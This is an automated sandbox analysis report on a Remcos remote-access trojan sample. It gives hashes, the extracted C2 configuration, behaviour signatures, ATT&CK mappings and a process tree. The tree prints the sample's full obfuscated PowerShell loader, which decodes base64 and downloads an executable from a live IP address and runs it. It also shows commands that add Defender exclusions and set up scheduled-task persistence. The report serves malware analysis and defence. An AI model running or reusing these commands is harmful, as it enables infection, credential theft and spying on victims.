remcos | 3dab14859030e20708a39df701feb49b3b33097a3b1178d1801be40746c43232

Analysis

max time kernel
149s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
25-09-2024 07:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9f71dfb4c82b046b86940ff82f86cadf.hta
Size

115KB
MD5

9f71dfb4c82b046b86940ff82f86cadf
SHA1

6bcd13d4f0e0ebf49b1107cd120368230effd547
SHA256

3dab14859030e20708a39df701feb49b3b33097a3b1178d1801be40746c43232
SHA512

bd64fe93e298261840995ba2a1f46418ffcc87875682d1ee921063c0e3911ad407efd086c96a7ee4643a673b6b678aab2aa89d8d90ec76d4ae7b21cd3a2686ba
SSDEEP

48:7oa+apd7Ah23jBZ9mqYZ9NqZ4v0te2RVC1c8oawopyZAqXl9RXGbZ9nZ9GZkBUyN:Ea+M77929kRVTTwcnlXu9Z9K9s8AT

Score

10^/10

remcos remotehost collection defense_evasion discovery execution rat spyware stealer

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

hiddenrmcnew.duckdns.org:7839

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-PW8G0U
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4044-159-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4920-158-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4444-164-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4444-164-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4920-158-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 1 IoCs

flow	pid	Process
17	4868	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
536	powershell.exe
1308	powershell.exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
4868	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	audiodg.exe

Executes dropped EXE 5 IoCs

pid	Process
1064	audiodg.exe
2764	audiodg.exe
4920	audiodg.exe
4444	audiodg.exe
4044	audiodg.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	audiodg.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1064 set thread context of 2764	1064	audiodg.exe	101
PID 2764 set thread context of 4920	2764	audiodg.exe	102
PID 2764 set thread context of 4444	2764	audiodg.exe	103
PID 2764 set thread context of 4044	2764	audiodg.exe	104

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	audiodg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	audiodg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	audiodg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	audiodg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	audiodg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1552	schtasks.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4868	powershell.exe
4868	powershell.exe
1064	audiodg.exe
536	powershell.exe
1308	powershell.exe
1064	audiodg.exe
1308	powershell.exe
536	powershell.exe
4920	audiodg.exe
4044	audiodg.exe
4920	audiodg.exe
4044	audiodg.exe
4920	audiodg.exe
4920	audiodg.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
2764	audiodg.exe
2764	audiodg.exe
2764	audiodg.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeDebugPrivilege	1064	audiodg.exe
Token: SeDebugPrivilege	536	powershell.exe
Token: SeDebugPrivilege	1308	powershell.exe
Token: SeDebugPrivilege	4044	audiodg.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 1148 wrote to memory of 632	1148	mshta.exe	82
PID 1148 wrote to memory of 632	1148	mshta.exe	82
PID 1148 wrote to memory of 632	1148	mshta.exe	82
PID 632 wrote to memory of 4868	632	cmd.exe	84
PID 632 wrote to memory of 4868	632	cmd.exe	84
PID 632 wrote to memory of 4868	632	cmd.exe	84
PID 4868 wrote to memory of 3244	4868	powershell.exe	85
PID 4868 wrote to memory of 3244	4868	powershell.exe	85
PID 4868 wrote to memory of 3244	4868	powershell.exe	85
PID 3244 wrote to memory of 4692	3244	csc.exe	86
PID 3244 wrote to memory of 4692	3244	csc.exe	86
PID 3244 wrote to memory of 4692	3244	csc.exe	86
PID 4868 wrote to memory of 1064	4868	powershell.exe	91
PID 4868 wrote to memory of 1064	4868	powershell.exe	91
PID 4868 wrote to memory of 1064	4868	powershell.exe	91
PID 1064 wrote to memory of 536	1064	audiodg.exe	95
PID 1064 wrote to memory of 536	1064	audiodg.exe	95
PID 1064 wrote to memory of 536	1064	audiodg.exe	95
PID 1064 wrote to memory of 1308	1064	audiodg.exe	97
PID 1064 wrote to memory of 1308	1064	audiodg.exe	97
PID 1064 wrote to memory of 1308	1064	audiodg.exe	97
PID 1064 wrote to memory of 1552	1064	audiodg.exe	99
PID 1064 wrote to memory of 1552	1064	audiodg.exe	99
PID 1064 wrote to memory of 1552	1064	audiodg.exe	99
PID 1064 wrote to memory of 2764	1064	audiodg.exe	101
PID 1064 wrote to memory of 2764	1064	audiodg.exe	101
PID 1064 wrote to memory of 2764	1064	audiodg.exe	101
PID 1064 wrote to memory of 2764	1064	audiodg.exe	101
PID 1064 wrote to memory of 2764	1064	audiodg.exe	101
PID 1064 wrote to memory of 2764	1064	audiodg.exe	101
PID 1064 wrote to memory of 2764	1064	audiodg.exe	101
PID 1064 wrote to memory of 2764	1064	audiodg.exe	101
PID 1064 wrote to memory of 2764	1064	audiodg.exe	101
PID 1064 wrote to memory of 2764	1064	audiodg.exe	101
PID 1064 wrote to memory of 2764	1064	audiodg.exe	101
PID 1064 wrote to memory of 2764	1064	audiodg.exe	101
PID 2764 wrote to memory of 4920	2764	audiodg.exe	102
PID 2764 wrote to memory of 4920	2764	audiodg.exe	102
PID 2764 wrote to memory of 4920	2764	audiodg.exe	102
PID 2764 wrote to memory of 4920	2764	audiodg.exe	102
PID 2764 wrote to memory of 4444	2764	audiodg.exe	103
PID 2764 wrote to memory of 4444	2764	audiodg.exe	103
PID 2764 wrote to memory of 4444	2764	audiodg.exe	103
PID 2764 wrote to memory of 4444	2764	audiodg.exe	103
PID 2764 wrote to memory of 4044	2764	audiodg.exe	104
PID 2764 wrote to memory of 4044	2764	audiodg.exe	104
PID 2764 wrote to memory of 4044	2764	audiodg.exe	104
PID 2764 wrote to memory of 4044	2764	audiodg.exe	104

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\9f71dfb4c82b046b86940ff82f86cadf.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1148
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C pOWERSHelL -ex ByPass -nOP -W 1 -c DeviCeCREdENtiALdeplOymeNT ; IEx($(iex('[SYsteM.TEXt.eNCOdiNg]'+[Char]58+[char]0x3a+'utf8.GETStrIng([SySteM.COnVErt]'+[chAR]58+[chaR]58+'fROMbAsE64strINg('+[Char]0X22+'JG5UYWdMdzIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNQmVSZEVmSU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAga08sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaG11byxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBuTWtYQlBGcCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFV6SFJWSURUR3UsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQnhNUXB2KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiQkpaSiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZXNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkblRhZ0x3Mjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzUuMTEzLjI1Mi8xNzEvYXVkaW9kZy5leGUiLCIkZW52OkFQUERBVEFcYXVkaW9kZy5leGUiLDAsMCk7c3RhcnQtc2xlRXAoMyk7c1RBcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGF1ZGlvZGcuZXhlIg=='+[ChAR]0X22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:632
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    pOWERSHelL -ex ByPass -nOP -W 1 -c DeviCeCREdENtiALdeplOymeNT ; IEx($(iex('[SYsteM.TEXt.eNCOdiNg]'+[Char]58+[char]0x3a+'utf8.GETStrIng([SySteM.COnVErt]'+[chAR]58+[chaR]58+'fROMbAsE64strINg('+[Char]0X22+'JG5UYWdMdzIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNQmVSZEVmSU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAga08sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaG11byxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBuTWtYQlBGcCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFV6SFJWSURUR3UsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQnhNUXB2KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiQkpaSiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZXNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkblRhZ0x3Mjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzUuMTEzLjI1Mi8xNzEvYXVkaW9kZy5leGUiLCIkZW52OkFQUERBVEFcYXVkaW9kZy5leGUiLDAsMCk7c3RhcnQtc2xlRXAoMyk7c1RBcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGF1ZGlvZGcuZXhlIg=='+[ChAR]0X22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4868
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fcogh0q5\fcogh0q5.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3244
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7947.tmp" "c:\Users\Admin\AppData\Local\Temp\fcogh0q5\CSCB9D96DB0692E48FE89FCB488781522C.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4692
  - - C:\Users\Admin\AppData\Roaming\audiodg.exe
      "C:\Users\Admin\AppData\Roaming\audiodg.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1064
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\audiodg.exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:536
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\wUtVQHiucCbXP.exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1308
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wUtVQHiucCbXP" /XML "C:\Users\Admin\AppData\Local\Temp\tmpC3DC.tmp"
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1552
    - - C:\Users\Admin\AppData\Roaming\audiodg.exe
        
        "C:\Users\Admin\AppData\Roaming\audiodg.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:2764
      - C:\Users\Admin\AppData\Roaming\audiodg.exe
        
        C:\Users\Admin\AppData\Roaming\audiodg.exe /stext "C:\Users\Admin\AppData\Local\Temp\hqwngusqwnodgqbmb"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4920
      - C:\Users\Admin\AppData\Roaming\audiodg.exe
        
        C:\Users\Admin\AppData\Roaming\audiodg.exe /stext "C:\Users\Admin\AppData\Local\Temp\ksbghmdjkvgqrwpqkkqj"
        6⤵
        Executes dropped EXE
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:4444
      - C:\Users\Admin\AppData\Roaming\audiodg.exe
        
        C:\Users\Admin\AppData\Roaming\audiodg.exe /stext "C:\Users\Admin\AppData\Local\Temp\ungyifnlyeyvtkmucuclmypr"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9faf6f9cd1992cdebfd8e34b48ea9330

SHA1
ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e

SHA256
0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953

SHA512
05b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
6ca35bad842896fa47e13ec29c383674

SHA1
f47f271760bf5562876356a414f6eb0a8dd4eeaf

SHA256
db08fc4b68e64b48ff98b18230c9365aa3e2a00698e45cc6f6bdba9ed64a47c5

SHA512
05ad66dfa3bab88230d0e5ba9726d9a54388b95e86ac10e7c61ad10f2700ddccfb08ba75b549396a2932af3dd5c938f5ab84965e9e6aa028368c3549e1a7e8f6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
6a3d7def281da825b91dd540e7473b9a

SHA1
e4f92302db4f6883de208ed82e1cf84add5c73df

SHA256
2a5262f2a3b44f0e634265ff59f095aed4fde895e2a71aa5c51cae831f8e79a5

SHA512
454c03b35408fb747071147c171f1ce7c10678182c1a900dcfe03d5acb1850e0adb5f72be8771d69af2cea2d0e3d51f382a989b6abacd4a3b3ca1cdedb9b2d05

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES7947.tmp

Filesize
1KB

MD5
b9d39c60fbc232255b9294a19de9189e

SHA1
0bef28b266e9354d3d78d35fc4c8fb832c268fa3

SHA256
f0f8e7f38b3a99c930158026c68af91de987bc0ee513bcd3e879d72b75ea4297

SHA512
a187aaf456c86f3190e329d44b33295aa192fd1eae359a0b4d10aa2b7d89dc6c55fae31aff665f1e32c5ed7a69aeea8447196734e5cdab352d3a294b131c0628

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zvu24p5p.ooi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\fcogh0q5\fcogh0q5.dll

Filesize
3KB

MD5
ac79bfc734cbfd1290e60875d9e9e449

SHA1
40139fd282207d9f86e332d1e1024f3509aada74

SHA256
7be25c90232ae6afac993809280208896da789196ce9855c08e462a615be1c3e

SHA512
67c772ce9dd6ac6690a684a720ddfbefea61001c6720d7857a024610e3044e8ceaf4ff67b2c781f2f2455321100b2acd43d3896cbf04fbe61825dc978f6420c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\hqwngusqwnodgqbmb

Filesize
4KB

MD5
16f4f7c4051f4bbdaa93a1ca80690065

SHA1
750cacbdd2d089a88119374560d6ac004954e90e

SHA256
6c4559e4413cccaeab73cad48ffd804506c95566e4d6a3f5ae64017a33ea6ec2

SHA512
cb0f68d393ad03a5c802a2978ff7b12e20911bac5e27200c2df16d5d3f63dfc2387c0cd1a9075d8e4ba9ae804a6b61225575e2f42b3ef024e863d5b172417964

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC3DC.tmp

Filesize
1KB

MD5
d7bb1e051183f8ff727612f873d64c7a

SHA1
819a563ad63b8cfbd742f1e36010d69e58589feb

SHA256
36d683bcb73ad051cad755aa46528da23d33a335c2e00b31d6a06f672df3cb62

SHA512
0010ef96bbf9154a9b54c308207c55cff957740092e98e3f739bfad82ea7b86076ac82df69af6ce78ba37e78aaba3bfb382408ce5119e2ee3812f4f67fc36bc7

Download Submit
C:\Users\Admin\AppData\Roaming\audiodg.exe

Filesize
1.1MB

MD5
311148c65ef0cadb803bccc2cf922fee

SHA1
d70c32206a52470e3b622984e7fb6ab7668c5919

SHA256
ff67f46cb0b8c93cc038c969376a92b04ab3809b0efd52f99bdfbbd9a991cc87

SHA512
8a998d9e89a53b65ef1d5a996f5540d0c0ba7f964af274ef5991dac3c4fd6c3eb4b89f5bc54449b797ffede1f57bd8d4604f4df3cd46fadb6dc94391713208cc

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\fcogh0q5\CSCB9D96DB0692E48FE89FCB488781522C.TMP

Filesize
652B

MD5
96b0f00697f6c4af916c8c73752bda27

SHA1
074c4b1acbb960415238aba8a830832f9bc0415f

SHA256
27980bd3ae9acd0c1287cc79eeb4a0bdb5df4bc2497c322d8ffe5b986b9ec732

SHA512
3929438acf284ccc93e6612851ff38ee43d4fcfdd76f288b54877f0fc829bdd57e2fc4867270ea850d24f1672e40a82a4b62e2d7377c13234ae3c9aaa2382601

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\fcogh0q5\fcogh0q5.0.cs

Filesize
473B

MD5
3bb844530f01f0263d147fc639cdaa17

SHA1
72a54c9e60fa65951724c7785e23472b5434bb6d

SHA256
b7a4df6b846ba78b9234d149ebddc645595ea3ed7de89e667ac1d070d5c20231

SHA512
b05fcd2cd4788d9887d93e4ba41f94c1620f74b30c550a08c09230525d82cc65aff6fdc6ff5887574f3b3fbe3e4ae06b188a7110f70c22d683d8cca22492084d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\fcogh0q5\fcogh0q5.cmdline

Filesize
369B

MD5
b112e935208d1e56787bc54aae827500

SHA1
377174edf1841dd9d4300af36f82e9bc7c348a19

SHA256
ff5295e479df95e1d23c39c6559abac691b8ee60ee04be7aaa3c0ead337dc9ea

SHA512
49aec5f1a7436b583333f066615bfb7f4e16d01677c15f332d1e850d53b6a356dd5510d6a7b7ad08079f0913c99b5bca05476b5fd2fb3813f575e17777eb9ff5

Download Submit
memory/536-90-0x00000000054B0000-0x0000000005804000-memory.dmp

Filesize
3.3MB

Download
memory/536-130-0x000000006DAB0000-0x000000006DAFC000-memory.dmp

Filesize
304KB

Download
memory/536-146-0x00000000070D0000-0x00000000070E4000-memory.dmp

Filesize
80KB

Download
memory/1064-82-0x0000000008630000-0x0000000008642000-memory.dmp

Filesize
72KB

Download
memory/1064-84-0x000000000B370000-0x000000000B40C000-memory.dmp

Filesize
624KB

Download
memory/1064-83-0x0000000008AE0000-0x0000000008BA0000-memory.dmp

Filesize
768KB

Download
memory/1064-81-0x0000000004D40000-0x0000000004D4A000-memory.dmp

Filesize
40KB

Download
memory/1064-80-0x0000000004D80000-0x0000000004E12000-memory.dmp

Filesize
584KB

Download
memory/1064-78-0x0000000000350000-0x0000000000462000-memory.dmp

Filesize
1.1MB

Download
memory/1308-143-0x0000000007E20000-0x0000000007E31000-memory.dmp

Filesize
68KB

Download
memory/1308-117-0x0000000006E50000-0x0000000006E9C000-memory.dmp

Filesize
304KB

Download
memory/1308-118-0x000000006DAB0000-0x000000006DAFC000-memory.dmp

Filesize
304KB

Download
memory/1308-128-0x0000000007AE0000-0x0000000007B83000-memory.dmp

Filesize
652KB

Download
memory/2764-172-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2764-177-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2764-171-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/2764-167-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/2764-180-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2764-114-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2764-112-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2764-110-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2764-179-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2764-178-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2764-145-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2764-116-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2764-142-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2764-173-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2764-141-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2764-174-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2764-175-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2764-129-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2764-176-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2764-170-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/2764-131-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4044-159-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4044-157-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4044-155-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4444-152-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4444-163-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4444-164-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4868-62-0x0000000070BBE000-0x0000000070BBF000-memory.dmp

Filesize
4KB

Download
memory/4868-33-0x0000000006F00000-0x0000000006FA3000-memory.dmp

Filesize
652KB

Download
